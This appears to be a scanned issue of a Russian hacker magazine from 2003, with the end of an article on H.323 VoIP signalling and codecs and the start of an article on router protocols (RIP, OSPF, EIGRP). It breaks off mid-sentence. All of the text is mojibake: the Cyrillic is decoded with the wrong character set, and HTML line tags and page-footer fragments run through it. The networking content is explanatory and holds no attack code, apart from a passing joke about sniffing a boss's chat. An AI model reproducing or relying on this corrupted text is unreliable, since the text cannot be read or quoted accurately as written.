
ê ðåñóðñàì DSP è ñàìîå âûñîêîå êà÷åñòâî<br />

âûõîäÿùåãî ñèãíàëà. Ïðèøåë îí â IP-òåëåôîíèþ<br />

èç êîììóòèðóåìûõ ATM-êàíàëîâ, ãäå ïðèìåíÿëñÿ<br />

ïîâñåìåñòíî. Íî âðåìÿ øëî, è ìîùíîñòü æåëåçà<br />

ñòðåìèòåëüíî ðîñëà, ÷åãî íåëüçÿ áûëî ñêàçàòü î<br />

ïðîïóñêíîé ñïîñîáíîñòè ñåòåé. Ýòî ïðèâåëî ê òîìó,<br />

÷òî êîäåêè ñòàëè ïåðåôîðìèðîâûâàòü ñâîè<br />

àëãîðèòìû â ñòîðîíó áîëüøåé æàäíîñòè ê âû÷èñëèòåëüíûì<br />

ðåñóðñàì, âçàìåí ïîíèæàÿ ñâîè òðåáîâàíèÿ<br />

ê øèðèíå ïåðåäàþùåãî êàíàëà. Òóò ïðèìåíÿëèñü<br />

è MP3-ïîäîáíûå àëãîðèòìû, è ìåòîäû<br />

ôîíåìíîé êîìïðåññèè, è ÷àñòîòíûå îãðàíè÷åíèÿ<br />

ïîëåçíîé ÷àñòè ñèãíàëà, è ìíîãîå äðóãîå.<br />

Ïðèáëèçèòåëüíî ðàçâèòèå êîäåêîâ â ýòîì íàïðàâëåíèè<br />

âûãëÿäåëî òàê: G.711 (àëãîðèòì - PCM, ïîëîñà<br />

ïðîïóñêàíèÿ - 64kbps, òðåáîâàíèÿ ê DSP -<br />

ñòðåìÿòñÿ ê íóëþ), G.726 (àëãîðèòì - ADPCM, ïîëîñà<br />

ïðîïóñêàíèÿ - 32kbps, òðåáîâàíèÿ ê DSP - 6<br />

MIPS), G.729 (àëãîðèòì - ôîíåìíûé âîêîäåð, ïîëîñà<br />

ïðîïóñêàíèÿ - 8kbps, òðåáîâàíèÿ ê DSP - 21.5<br />

MIPS), G.723 (ãèáðèäíûé àëãîðèòì - ôîíåìíûé âîêîäåð<br />

+ PCM + ADPCM, ïîëîñà ïðîïóñêàíèÿ - 5.3-<br />

6.3kbps, òðåáîâàíèÿ ê DSP - 16.5 MIPS). Íàèáîëåå<br />

ïîïóëÿðíûì ïî ñîîòíîøåíèþ êà÷åñòâî/ïðîèçâîäèòåëüíîñòü/øèðèíà<br />

êàíàëà ïî ïðàâó ñ÷èòàåòñÿ êîäåê<br />

G.729. Ñóùåñòâóþò è äðóãèå, íî îíè íå òàê øèðîêî<br />

ðàñïðîñòðàíåíû. Ñòîèò îòìåòèòü òîò ôàêò, ÷òî îáðåçàíèå<br />

âûñîêèõ ÷àñòîò ñäåëàëî íåâîçìîæíûì ðàáîòó<br />

ôàêñîâ è ïðî÷åãî ìîäóëÿòîðíî-äåìîäóëÿòîðíîãî<br />

îáîðóäîâàíèÿ â ãîëîñîâîì ðåæèìå. Äëÿ ðàçðåøåíèÿ<br />

ýòîé ñèòóàöèè ïðèìåíÿþòñÿ ñõåìû, äåòåêòèðóþùèå<br />

íà÷àëî ðàáîòû ïîäîáíîãî îáîðóäîâàíèÿ,<br />

è ñïåöèàëüíûå ìîäåìíî-ôàêñîâûå êîäåêè.<br />

Ëîãè÷åñêèå êàíàëû â ýòîì ñëó÷àå ðàáîòàþò â<br />

Ññûëêè ïî òåìå:<br />

http://www.itu.int - îðãàíèçàöèÿ ITU, çàíèìàþùàÿñÿ ðàçðàáîòêàìè ðåêîìåíäàöèé ñâÿçè, â<br />

òîì ÷èñëå è ïðîòîêîëà H.323.<br />

http://www.openh323.org - êîìàíäà OpenH323, çàíèìàþùàÿñÿ ðàçðàáîòêîé áèáëèîòåê ñ<br />

îòêðûòûìè èñõîäíûìè êîäàìè, îáëåã÷àþùèõ æèçíü ïðîãðàììåðó â îáëàñòè òîãî æå H.323.<br />

http://www.vovida.org - òóò åñòü ïðî èíèöèàòèâó OpenG.729.<br />

RFC 1889/1890 - îïèñàíèå RTP è RTCP.<br />

1 2 3 4<br />

76 Íüþñû Ôåððóì Inside PC_Zone Âçëîì


DATAMODE, à íå â VOICE. Íàèáîëåå ðàñïðîñòðàíåííûì<br />

ðåøåíèåì äëÿ ïåðåäà÷è ôàêñîâ ïî IP íà<br />

äàííûé ìîìåíò ÿâëÿåòñÿ ñõåìà T.38.<br />

ÇÀÏÈØÈ ÌÎÉ ÒÅËÅÔÎÍ<br />

Åñëè äëÿ ISDN àäðåñàöèÿ â âèäå òåëåôîííûõ íîìåðîâ<br />

ÿâëÿåòñÿ ðîäíîé, òî äëÿ ñåòåé VoIP, èìåþùèõ<br />

ñòûêè ñ çîíàìè òðàäèöèîííîé òåëåôîíèè (òåëåôîííûå<br />

ñåòè îáùåãî ïîëüçîâàíèÿ, ÒÔÎÏ èëè<br />

PSTN), òðåáóåòñÿ àëãîðèòì òðàíñëÿöèè ýòèõ íîìåðîâ<br />

â IP-àäðåñà. Îäíèì èç ðåøåíèé ýòîé ïðîáëåìû<br />

ÿâëÿåòñÿ çàíåñåíèå â êàæäûé øëþç òàáëèöû<br />

ñîîòâåòñòâèÿ ìåæäó òåëåôîííûìè íîìåðàìè è IPàäðåñàìè,<br />

íî ïîíÿòíî, ÷òî äëÿ áîëåå èëè ìåíåå<br />

êðóïíîé ñåòè ýòî íåïðèìåíèìî. Áîëåå ãðàìîòíîé<br />

ñõåìîé ÿâëÿåòñÿ èñïîëüçîâàíèå öåíòðàëèçîâàííîé<br />

áàçû äàííûõ äëÿ òðàíñëÿöèè àäðåñîâ, òàêæå ñîäåðæàùåé<br />

ñåðâèñíûå è àóòåíòèôèêàöèîííûå<br />

ôóíêöèè. Òàêîå óñòðîéñòâî íàçûâàåòñÿ ãåéòêèïåð<br />

(ðóññêèé âàðèàíò ýòîãî ñëîâà - "ïðèâðàòíèê" ìíå<br />

íå íðàâèòñÿ, è ïîëüçîâàòüñÿ èì ÿ íå áóäó).<br />

Ãåéòêèïåð îáùàåòñÿ ñ H.323-óñòðîéñòâàìè ïîñðåäñòâîì<br />

ðàñøèðåíèÿ ïðîòîêîëà H.225, çîâóùåãîñÿ<br />

H.225 RAS (Registration Admission Status). Ñîîáùåíèÿ<br />

ýòîãî ïðîòîêîëà òàêæå êîìïèëèðóþòñÿ<br />

ASN.1-êîìïèëÿòîðîì, íî ïåðåäàþòñÿ íå ïî TCP,<br />

êàê âñÿ ðàññìîòðåííàÿ ðàíåå ñèãíàëèçàöèÿ, à ïî<br />

UDP (÷òî îáëåã÷àåò çàäà÷è ñïóôèíãà). Óñëîâíî<br />

ìîæíî ðàçáèòü ýòó ñèãíàëèçàöèþ íà ñëåäóþùèå<br />

ãðóïïû: ïîèñê ãåéòêèïåðà, ñåðâèñíûå ôóíêöèè,<br />

îáñëóæèâàíèå çâîíêîâ, ìåæãåéòêèïåðíîå âçàèìîäåéñòâèå.<br />

Îáùàþòñÿ òóò îáû÷íî, ïîñûëàÿ ïàêåò<br />

èç ñåðèè ×ÒÎ_ÒÎ_REQUEST, ïîëó÷àÿ â îòâåò ïàêåò<br />

×ÒÎ_ÒÎ_CONFIRM, ñèãíàëèçèðóþùèé î ïîäòâåðæäåíèè<br />

çàïðîñà è íåñóùèé çàïðîøåííûå äàííûå.<br />

×ÒÎ_ÒÎ_REJECT, åñëè îòâåò íà çàïðîñ îòðèöàòåëüíûé,<br />

ëèáî íå ïîëó÷àÿ íè÷åãî, ÷òî òîæå ìîæåò<br />

áûòü â îïðåäåëåííûõ ñëó÷àÿõ.<br />

Ïåðâîíà÷àëüíî óñòðîéñòâî èùåò ñâîé ãåéòêèïåð,<br />

ïîñûëàÿ (ëèáî ïî êîíêðåòíîìó àäðåñó, ëèáî øèðîêîâåùàòåëüíûì<br />

çàïðîñîì) ïàêåò GATEKEEPER-<br />

REQUEST (GRQ), åñëè â îòâåò îíî ïîëó÷èò õîòü îò<br />

êîãî-íèáóäü îòâåò GATEKEEPERCONFIRM (GCF),<br />

òî ìîæíî ïîïðîáîâàòü âñòàòü ïîä ýòîò ãåéòêèïåð.<br />

Ïîñëå òîãî, êàê óñòðîéñòâî îïðåäåëèëîñü, ñ êåì<br />

îíî áóäåò âçàèìîäåéñòâîâàòü, îíî øëåò ñâîåìó<br />

ãåéòêèïåðó çàïðîñ íà âõîä â ñåðâèñ REGISTRA-<br />

TIONREQUEST (RRQ), ñîäåðæàùèé íåîáõîäèìûå<br />

äàííûå, îïèñûâàþùèå óñòðîéñòâî. Åñëè ãåéòêèïåð<br />

ñ÷èòàåò âîçìîæíûì âõîä óñòðîéñòâà â ñåðâèñ,<br />

îí îòâå÷àåò åìó REGISTRATIONCONFIRM<br />

(RCF), èëè ïîñûëàåò åãî ïîäàëüøå ñ ïîìîùüþ<br />

REGISTRATIONREJECT (RRJ) ñ îïèñàíèåì ïðè÷èíû<br />

ïîñûëà. Òàêæå, ïðè ïîèñêå ãåéòêèïåðà è âõîäå â<br />

ñåðâèñ, óñòðîéñòâî ìîæåò ñîîáùèòü òåëåôîííûå<br />

íîìåðà èëè ïðåôèêñû, êîòîðûå îíî ïðèíèìàåò íà<br />

ñåáÿ. Ýòî ïîçâîëÿåò ðåàëèçîâàòü äèíàìè÷åñêóþ<br />

÷àñòü òàáëèöû òðàíñëÿöèè. Òåïåðü, êîãäà óñòðîéñòâî<br />

â ñåðâèñå, îíî ìîæåò ïîëüçîâàòüñÿ ñåðâèñíûìè<br />

ôóíêöèÿìè îáñëóæèâàíèÿ çâîíêîâ, íå çàäóìûâàÿñü<br />

íè î ÷åì ñàìîñòîÿòåëüíî.<br />

Íàèáîëåå âàæíûå ôóíêöèè, íà ìîé âçãëÿä, ýòî<br />

àâòîðèçàöèÿ âõîäÿùåãî çâîíêà è òðàíñëÿöèÿ íîìåðîâ<br />

â IP-àäðåñà. Îñóùåñòâëÿþòñÿ îíè ïîñðåäñòâîì<br />

çàïðîñîâ-îòâåòîâ ñåðèè ADMISSION. Àâòîðèçàöèÿ<br />

ïðîèñõîäèò òàê: â óñòðîéñòâî ïàäàåò<br />

VoIP-çâîíîê, îíî ïîñûëàåò ãåéòêèïåðó çàïðîñ<br />

ADMISSIONREQUEST (ARQ), ñîäåðæàùèé èíôîðìàöèþ<br />

î òîì, ÷òî óñòðîéñòâî ñ òàêèì-òî IP'øíèêîì<br />

ïûòàåòñÿ ñòåðìèíèðîâàòü íà ìåíÿ çâîíîê íà<br />

òàêîé-òî òåëåôîííûé íîìåð, ÷òî ìíå äåëàòü Åñëè<br />

ãåéòêèïåð îòâå÷àåò íà ýòî ADMISSIONCON-<br />

FIRM (ACF), òî óñòðîéñòâî ïðèíèìàåò çâîíîê è<br />

îáðàáàòûâàåò, åñëè æå ADMISSIONREJECT (ARJ),<br />

òî ïîñûëàåò òàêóþ ïîïûòêó ïîäàëüøå. Ýòî àêòóàëüíî<br />

äëÿ óñòðîéñòâà-òåðìèíàòîðà (ïðèíèìàþùåãî<br />

çâîíîê). Óñòðîéñòâó-îðèãèíàòîðó (ïûòàþùåìóñÿ<br />

ñëèòü íà êîãî-íèáóäü çâîíîê) íóæíà ôóíêöèÿ<br />

òðàíñëÿöèè. Ðàáîòàåò îíà òàê: òîæå ïîñûëàåò<br />

ãåéòêèïåðó çàïðîñ ADMISSIONREQUEST (ARQ), íî<br />

ñîäåðæàùèé èíôîðìàöèþ î òîì, ÷òî ÿ õî÷ó ñëèòü<br />

çâîíîê íà òàêîé-òî íîìåð, êòî åãî ñìîæåò ïðèíÿòü<br />

Ãåéòêèïåð îòâå÷àåò íà ýòî ADMISSIONCON-<br />

FIRM (ACF), ñîîáùàÿ â íåì IP-àäðåñ óñòðîéñòâà,<br />

êîòîðîå ïðèìåò íà ñåáÿ ýòîò íîìåð, ëèáî ADMIS-<br />

SIONREJECT (ARJ), òîãäà çâîíîê íèêóäà íå óéäåò,<br />

è àáîíåíò "À" ïîëó÷èò îòáîé (ê ïðèìåðó, àáîíåíò<br />

íà ñòîðîíå àíàëîãîâîé òåëåôîííîé ñåòè óñëûøèò<br />

FASTBUSY, áûñòðûå êîðîòêèå ãóäêè).<br />

 ÇÀÊËÞ×ÅÍÈÅ<br />

 ðàìêàõ ýòîé ñòàòüè íåâîçìîæíî áûëî îõâàòèòü<br />

âñå àñïåêòû è ìåòîäèêè ñòàíäàðòà H.323, íî ÿ íàäåþñü,<br />

÷òî ìíå óäàëîñü äîíåñòè îñíîâíûå ïîíÿòèÿ<br />

è ñõåìû ðàáîòû è äàòü êëþ÷åâûå íàïðàâëåíèÿ<br />

äëÿ òåõ, êòî çàõî÷åò ãëóáæå ðàçîáðàòüñÿ â ýòîé<br />

òåìå. Ñïåöèàëüíî äëÿ ïðîãðàììèñòîâ â ñëåäóþùåé<br />

ñòàòüå ÿ îñâåùó ìåòîäèêè ðàáîòû ñ ëèíóêñîâîé<br />

áèáëèîòåêîé OpenH323, ïîçâîëÿþùåé äîñòàòî÷íî<br />

ïðîñòî è ýôôåêòèâíî ðàáîòàòü ñ H.323 ñîåäèíåíèÿìè<br />

â âèäå êàê ñàìûõ âûñîêîóðîâíåâûõ<br />

ìîäåëåé, òàê è ïðîòîêîëüíûõ<br />

ðàçáîðîê ïî ïàêåòàì ñèãíàëèçàöèè.<br />

Äî âñòðå÷è.<br />

H.323 ñåòü ñ ãåéòêèïåðîì<br />

5 6 7 8<br />

Þíèêñîèä X-Ñòèëü Êîäèíã


ÕÀÊÅÐ\¹53\Ìàé\2003<br />

Âçëîì<br />

ÌÀÐØÐÓÒÈÇÀÒÎÐÛ: ÁÎËÜØÈÅ È Î×ÅÍÜ ÁÎËÜØÈÅ<br />

Òóòêàáàåâ Åðêåáóëàí (streetseeker@mail.ru)<br />

ÌÀÐØÐÓÒÈÇÀÒÎÐÛ:<br />

ÁÎËÜØÈÅ<br />

È Î×ÅÍÜ<br />

ÁÎËÜØÈÅ<br />

ÎÑÍÎÂÛ ÐÀÁÎÒÛ ÌÀÐØÐÓÒÈÇÀÒÎÐÎÂ<br />

Ìíîãèå ñëûøàëè î íèõ. Ìàðøðóòèçàòîð. Áîëüøèíñòâî ïðåäñòàâëÿåò åãî ñåáå êàê òàèíñòâåííûé äåâàéñ,<br />

ðàñïîëîæåííûé "ãäå-òî ó ïðîâàéäåðà" è âûïîëíÿþùèé óæàñàþùèå ïî ñëîæíîñòè ôóíêöèè... Ïîðà òåáå óçíàòü,<br />

÷òî èìåííî ñêðûâàåòñÿ çà ýòèì ñëîâîì.<br />

Äëÿ íà÷àëà íåìíîãî òåîðèè. Íàáåðèñü âíèìàíèÿ,<br />

âûêëþ÷è ìîáèëüíèê è óñòðîéñÿ ïîóäîáíåå - íà÷àëè.<br />

Âîîáùå, ìàðøðóòèçàòîð íàçûâàþò ðàçíûìè<br />

îáèäíûìè è íå î÷åíü ïðîçâèùàìè. Ðîóòåð, ìàðøðóòèçàòîð,<br />

êèñêà, öèñêà (âîîáùå-òî ýòî ðîóòåðû<br />

îò Cisco, íî òàê óæ ïîâåëîñü) - âñå ýòî îäíî è òî<br />

æå óñòðîéñòâî. Â ïðèíöèïå, ìîæåò ïîêàçàòüñÿ,<br />

÷òî ïðîñòîé õàá è ðîóòåð èìåþò îäèíàêîâûå<br />

ôóíêöèè - îáà îíè ëèíêóþò ëîêàëüíûå ñåòè è ïåðåäàþò<br />

äàííûå äàëüøå ïî íàçíà÷åíèþ. Íî ó ðîóòåðà<br />

åñòü ðÿä âàæíûõ îòëè÷èé. Ïåðâîå: îí âûáèðàåò<br />

îïòèìàëüíûé ïóòü ïðîõîæäåíèÿ ïàêåòà, à<br />

çíà÷èò, ïîâûøàåò ýôôåêòèâíîñòü ðàáîòû ñåòè.<br />

Íåîáõîäèìîñòü â ðîóòåðå ìîæåò âîçíèêíóòü, åñëè<br />

òû àäìèíèøü ñåòü ñ áîëüøèì êîëè÷åñòâîì ñåãìåíòîâ<br />

è ðàçíîðîäíûìè ïðîòîêîëàìè è óñòðîéñòâàìè.<br />

Âòîðîå: ðîóòåðû óìåþò ðàáîòàòü ñ ðàçíûìè<br />

òèïàìè êîììóòàöèîííûõ êàáåëåé. Ýòà óìíàÿ ôðàçà<br />

îçíà÷àåò, ÷òî ðîóòåð ìîæåò ëèíêîâàòü ñåòü, îñíîâàííóþ,<br />

ñêàæåì, íà îïòîâîëîêîííîì êàíàëå, ñ<br />

ñåòüþ íà êîàêñèàëå. Òðåòüå: ðîóòåð ìîæåò ñâÿçûâàòü<br />

ñåòè íà ðàçíûõ ïðîòîêîëàõ - äîïóñòèì,<br />

TCP/IP è IPX. ×åòâåðòîå: ðîóòåð çàïðîñòî ìîæåò<br />

ñêîììóòèðîâàòü ñåòè ðàçëè÷íîãî òèïà, íàïðèìåð,<br />

â îäíîì êàáèíåòå ó òåáÿ áåãàåò Token Ring, à â<br />

êàáèíåòå ó øåôà - Ethernet. Õî÷åòñÿ ïîñíèôàòü<br />

÷àò øåôà ñ ñåêðåòàðøåé Òû óæå çíàåøü, ÷òî òåáå<br />

íóæíî :). Ïÿòîå: ðîóòåð îáåñïå÷èâàåò âîçìîæíîñòü<br />

âûâîäà ëîêàëüíîé ñåòè â WAN. Åñëè ó òåáÿ<br />

â óíèâåðå åñòü èíòåðíåò - ïîâíèìàòåëüíåé ïðèãëÿäèñü<br />

ê ñåòåâîìó îáîðóäîâàíèþ - òàì íàâåðíÿêà<br />

ñòîèò èçâåñòíûé òåáå ðîóòåð. Øåñòîå: ðîóòåðû<br />

âðåìåí III ïíÿ ïîääåðæèâàþò QoS (ïîìíèøü ýòó<br />

ôèøå÷êó â Win XP). Íåïîñâÿùåííûì - QoS - ýòî<br />

Quality of Service, ïîçâîëÿåò íàçíà÷àòü ïðèîðèòåòû<br />

ïðîöåññàì è â ñîîòâåòñòâèè ñ ýòèì ïåðåäàâàòü<br />

äàííûå ïî ñåòè. Ñåäüìîå: ðîóòåð ïîçâîëÿåò óïðàâëÿòü<br />

øèðèíîé ïîëîñû ïðîïóñêàíèÿ îòäåëüíî<br />

äëÿ êàæäîãî òèïà òðàôèêà. Âîñüìîå: êàê òû, íàâåðíîå,<br />

ïîìíèøü, â ñåãìåíòå ñåòè íå ìîæåò áûòü<br />

áîëüøå ÷åòûðåõ ïîâòîðèòåëåé (ðåïèòåðîâ), à ïîñåìó<br />

ðîóòåð ïðîñòî íåîáõîäèì, åñëè òðåáóåòñÿ<br />

îáåñïå÷èòü ñâÿçü íà åùå áîëüøèå ðàññòîÿíèÿ.<br />

Äåâÿòîå: ðîóòåð ìîæåò âûïîëíÿòü ôóíêöèè<br />

áðàíäìàóýðà è â ñëó÷àå ãðàìîòíîé íàñòðîéêè<br />

ïðåäîòâðàùàòü àòàêè ðàçëè÷íîãî ðîäà. Òû óæå<br />

ïîíÿë, ÷òî ðîóòåð - ýòî âå÷íûé ðóëåç Õîðîøî,<br />

òåïåðü çàãëÿíåì ïîä êîðó åãî ãîëîâíîãî ìîçãà ;).<br />

Ñòîïêà òåìíî-ñèíèõ ìîäóëåé ðîóòåðà<br />

ÑÏÈÍÍÎÉ ÌÎÇÃ ÐÎÓÒÈÍÃÀ<br />

Ïðèêîë çàêëþ÷àåòñÿ â òîì, ÷òî ðîóòåð íå ïðîñòî<br />

ëèíêóåò ïóñòü äàæå ðàçíûå òèïû ñåòåé. Îí ìîæåò<br />

óïðàâëÿòü òðàôèêîì, îñíîâûâàÿñü íà ïðîòîêîëå<br />

ñåòåâîãî óðîâíÿ (åñëè õî÷åøü óçíàòü ïîáîëüøå îá<br />

ýòîì ïðîòîêîëå - èçó÷è ýòàëîííóþ ìîäåëü OSI -<br />

òàì îí íàõîäèòñÿ íà òðåòüåì óðîâíå). Äëÿ ýòîãî<br />

ñóùåñòâóþò ÷åòûðå îñíîâíûõ àëãîðèòìà - RIP,<br />

OSPF, EIGRP è BGP. Â RIP (Routing Information<br />

Protocol) ðîóòåðû êàæäûå 30 ñåêóíä îáìåíèâàþòñÿ<br />

òàáëèöàìè ìàðøðóòèçàöèè, â êîòîðûõ îïèñûâàþò<br />

äîñòèæèìûå óçëû ñåòè. RIP äîâîëüíî ïðèìèòèâåí,<br />

òàê êàê îïðåäåëÿåò îïòèìàëüíûé ïóòü äëÿ ïðîõîæäåíèÿ<br />

ïàêåòîâ, îñíîâûâàÿñü ëèøü íà êîëè÷åñòâå<br />

õîïîâ (õîï - ýòî ìàðøðóòèçàòîð, ñòîÿùèé íà ïóòè<br />

ïðîõîæäåíèÿ ïàêåòà), ïðè ýòîì îò åãî âíèìàíèÿ<br />

óñêîëüçàþò òàêèå âàæíûå ìîìåíòû, êàê çàãðóæåííîñòü<br />

ñåòè è âðåìÿ ïðîõîæäåíèÿ ýòîãî ïóòè. Íàïðèìåð,<br />

íà âåòêå A ó íàñ, ñêàæåì, 5 õîïîâ, à íà<br />

âåòêå B - 7. Ðîóòåð ðåøàåò, ÷òî âåòâü À îïòèìàëüíà,<br />

íå äóìàÿ î òîì, ÷òî ïî íåé ãàðíûå õëîïöû èç<br />

YYY-îé ãðóïïû ñåé÷àñ êà÷àþò "Àìåðèêàíñêèé ïèðîã-2"<br />

:), ê òîìó æå èíôà î íåäîñòóïíîñòè êàêîãîòî<br />

óçëà ðàñïðîñòðàíÿåòñÿ ñëèøêîì ìåäëåííî, äà<br />

åùå è ðîóòåðû, îòäåëåííûå 16 õîïàìè ñ÷èòàþòñÿ<br />

íåäîñòèæèìûìè äðóã äëÿ äðóãà, ïîñêîëüêó â RIP<br />

16 õîïîâ ïðèðàâíèâàþòñÿ ê áåñêîíå÷íîñòè. Äëÿ<br />

ðåøåíèÿ äàííîé ïðîáëåìû è ñîçäàëè âòîðîé àëãîðèòì<br />

- OSPF (Open Shortest Path First). Ýòîò àëãîðèòì<br />

êàê ðàç è ó÷èòûâàåò âñå ýòè òðàáëû, à ïî-<br />

1 2 3 4<br />

78 Íüþñû Ôåððóì Inside PC_Zone Âçëîì


òîìó ÿâëÿåòñÿ áîëåå ýôôåêòèâíûì, ïðàâäà ïðè<br />

ýòîì òðåáóåò îò ðîóòåðà õèòðîãî êàìíÿ ñ áîëüøèì<br />

êîëè÷åñòâîì Ãåðöåâ. Òàêæå ó÷òè, ÷èòàþùèé õàëÿâùèê,<br />

÷òî ñ åãî íàñòðîéêîé òû îòðàñòèøü ñåáå ãåìîððîé<br />

íåìàëîé äëèíû. Òàê ÷òî åñëè ñåòü ó òåáÿ<br />

íåáîëüøàÿ, è ïî íåé ëåòàþò ëèøü âîðäîâñêèå äîêè,<br />

òî íå íàïðÿãàéñÿ è ñòàâü RIP.<br />

Òàê âîò, ñòîèò íàø ðîóòåð, ñêîíôèãóðèðîâàííûé è<br />

ãîòîâûé ê ó÷àñòèþ â âèðòóàëüíîì áàçàðå ìåæäó<br />

êîìïüþòåðàìè. ×òî òàì ïðîèñõîäèò, ñåé÷àñ ìû è<br />

óçíàåì: êàê òîëüêî íà åãî èíòåðôåéñ ïîïàäàåò ïàêåò,<br />

ðîóòåð ñìîòðèò íà åãî àäðåñ íàçíà÷åíèÿ è<br />

âûïîëíÿåò êîìàíäû ïðîöåññîðà, îïðåäåëÿþùèå<br />

âûõîäíîé ïîðò. Çàòåì ïàêåò ïðîõîäèò ïî ïðÿìîé<br />

êèøêå ìàðøðóòèçàòîðà (ãëàâíîé ìàãèñòðàëè) è<br />

ïîäïîëçàåò ê èíòåðôåéñíîìó ìîäóëþ, êîòîðûé<br />

ñëóæèò äëÿ ñâÿçè ñ àäðåñóåìûì ñåãìåíòîì ñåòè.<br />

ÏÐÎÒÎÊÎËÛ<br />

 ñëó÷àå RIP àëãîðèòìà êàæäûé ðîóòåð èìååò òàáëèöó<br />

ìàðøðóòèçàöèè. Ýòà òàáëèöà íóæíà äëÿ òîãî,<br />

÷òîáû ðîóòåð îïðåäåëèë: ïåðåäàòü ïàêåò ñëåäóþùåìó<br />

ðîóòåðó èëè æå óñòðîéñòâî ñ íóæíûì<br />

àäðåñîì íàõîäèòñÿ âíóòðè åãî ñåãìåíòà ñåòè.<br />

Òàáëèöà âñåãäà âêëþ÷àåò â ñåáÿ ñëåäóþùóþ èíôó:<br />

ðåàëüíûå àäðåñà óñòðîéñòâ â ñåòè, àäðåñà<br />

áëèæàéøèõ ìàðøðóòèçàòîðîâ, ñëóæåáíóþ èíôó<br />

ïðîòîêîëà ìàðøðóòèçàöèè, óêàçàíèå êðàò÷àéøåãî<br />

ðàññòîÿíèÿ è âûõîäíîé ëèíèè äëÿ êàæäîãî àäðåñàòà.<br />

Ïåðèîäè÷åñêè ðîóòåðû îáìåíèâàþòñÿ ýòèìè<br />

òàáëèöàìè, ÷òîáû âñåãäà ìîæíî áûëî íàéòè îïòèìàëüíûé<br />

ìàðøðóò. Íàïðèìåð, åñëè êàêîå-òî óñòðîéñòâî<br />

çàãíóëîñü è íå ïðèíèìàåò ïàêåòû - ýòî<br />

áóäåò îòìå÷åíî â òàáëèöå è ïåðåäàíî âñåì îñòàëüíûì<br />

ðîóòåðàì.<br />

 ñëó÷àå OSPF ðîóòåðû íå âåäóò òàáëèö ìàðøðóòèçàöèè,<br />

ñîáèðàÿ èíôó ëèøü î ñâîèõ áëèæàéøèõ<br />

ñîñåäÿõ è èçìåðÿÿ øèðèíó ïîëîñû ïðîïóñêàíèÿ<br />

ìåæäó íèìè. Ðîóòåð îñóùåñòâëÿåò broadcast-ðàññûëêó<br />

èíôîðìàöèè òîëüêî î ñâîèõ ñîñåäÿõ, è ðàññûëêà<br />

èíèöèèðóåòñÿ òîëüêî ïðè èçìåíåíèè èíôîðìàöèè<br />

î ñîñòîÿíèè ñåòè. Ïðè ïîëó÷åíèè èçìåíåíèé<br />

ðîóòåð ïî íîâîé îïðåäåëÿåò áëèæàéøèé<br />

ïóòü äî âñåõ àäðåñàòîâ. Êàê òîëüêî OSPF-ðîóòåð<br />

íà÷èíàåò ðàáîòó, îí ðàññûëàåò ïàêåòû-ïðèâåòñòâèÿ<br />

ïî âñåì ïîðòàì.  ñëó÷àå åñëè åìó îòâåòèë<br />

ðîóòåð, îí îáìåíèâàåòñÿ ñ íèì èíôîðìàöèåé, è<br />

ïðè íîðìàëüíîé àóòåíòèôèêàöèè îíè ïåðåäàþò<br />

äðóã äðóãó MAC-àäðåñà. Ïîñëå òîãî, êàê âñå óñòàêàíèëîñü,<br />

è ðîóòåðû îïðåäåëèëè ãðàíèöû ñåòè,<br />

îäèí èç íèõ íàçíà÷àåòñÿ îòâåòñòâåííûì ðîóòåðîì<br />

(DR-Designed Router), à äðóãîé - ðåçåðâíûì îòâåòñòâåííûì<br />

ðîóòåðîì (BDR-Backup Designed<br />

Router). Îòâåòñòâåííûé ðîóòåð îòâå÷àåò çà áàçó<br />

äàííûõ î ñîñòîÿíèè ñåòè è multicast-ðàññûëêó ñîîáùåíèé<br />

îá èçìåíåíèÿõ â ñåòè âñåì ðîóòåðàì.<br />

Ïðè èçìåíåíèè ñîñòîÿíèè ñåãìåíòà ñåòè ðîóòåð,<br />

êîòîðîìó ïðèíàäëåæèò äàííûé êàíàë, ïîñûëàåò<br />

îò÷åò îá èçìåíåíèÿõ íà DR è BDR-ðîóòåðû. BDR<br />

õðàíèò êîïèþ áàçû äàííûõ DR’à, è â ñëó÷àå âûõîäà<br />

åãî èç ñòðîÿ çàìåùàåò åãî ôóíêöèè ñîáîé, îäíîâðåìåííî<br />

íàçíà÷àÿ íîâûé BDR-ðîóòåð è âûñûëàÿ<br />

åìó êîïèþ áàçû äàííûõ.<br />

EIGRP ïðîòîêîë âûãîäíî îòëè÷àåòñÿ îò ïðåäûäóùèõ<br />

òåì, ÷òî îí ïðåäîñòàâëÿåò âîçìîæíîñòü èçáåæàòü<br />

çàöèêëèâàíèÿ ìàðøðóòîâ. Ðîóòåð ïîä<br />

EIGRP îïðàøèâàåò ñâîèõ ñîñåäåé òàê æå, êàê è<br />

OSPF, íî ïðè ýòîì îí òðåáóåò îò íèõ òàáëèöû<br />

ìàðøðóòèçàöèè. Ïîëó÷èâ òàáëèöó, ðîóòåð ïåðåõîäèò<br />

â ñîñòîÿíèå ïðîñëóøèâàíèÿ, "çàñûïàåò", îæèäàÿ,<br />

ïîêà â ñåòè íå ïðîèçîéäóò êàêèå-ëèáî èçìåíåíèÿ.<br />

Êàê òîëüêî îäèí èç êàíàëîâ, îáñëóæèâàåìûé<br />

ðîóòåðîì, íàêðîåòñÿ, îí âíîâü îæèâåò è ðàçîøëåò<br />

ñîîáùåíèÿ âñåì ðîóòåðàì, êîòîðûõ çàòðàãèâàåò<br />

ýòî ïå÷àëüíîå ñîáûòèå.<br />

Åñëè ðîóòåð ïîëó÷àåò ñîîáùåíèå î êàêîì-òî ïóòè,<br />

êîòîðûé äëèííåå, ÷åì èñïîëüçóåìûé ðîóòåðîì â<br />

äàííûé ìîìåíò, òî ýòîò ïóòü èãíîðèðóåòñÿ, åñëè<br />

òîëüêî ýòà èíôîðìàöèÿ íå ïðèõîäèò îò ðîóòåðà,<br />

ïðèíàäëåæàùåãî ñàìîìó êîðîòêîìó ïóòè. Òîãäà<br />

ðîóòåð îñòàíàâëèâàåò èçìåíåíèå òàáëèöû ìàðøðóòèçàöèè<br />

è çàïóñêàåò DUAL (Diffusing Update<br />

Algorithm), îïðàøèâàþùèé ñâîèõ ñîñåäåé, íå çíàþò<br />

ëè îíè áîëåå êîðîòêîãî ïóòè ê ìåñòó íàçíà÷åíèÿ.<br />

Åñëè îäèí èç ðîóòåðîâ çíàåò òàêîé ïóòü, îí<br />

ñîîáùàåò åãî; åñëè æå íåò - çàïðîøåííûé ðîóòåð<br />

ñàì çàïóñêàåò DUAL, â ïîèñêàõ áîëåå êîðîòêîãî<br />

ïóòè. Ýòî ïîâòîðÿåòñÿ äî òåõ ïîð, ïîêà îí íå áóäåò<br />

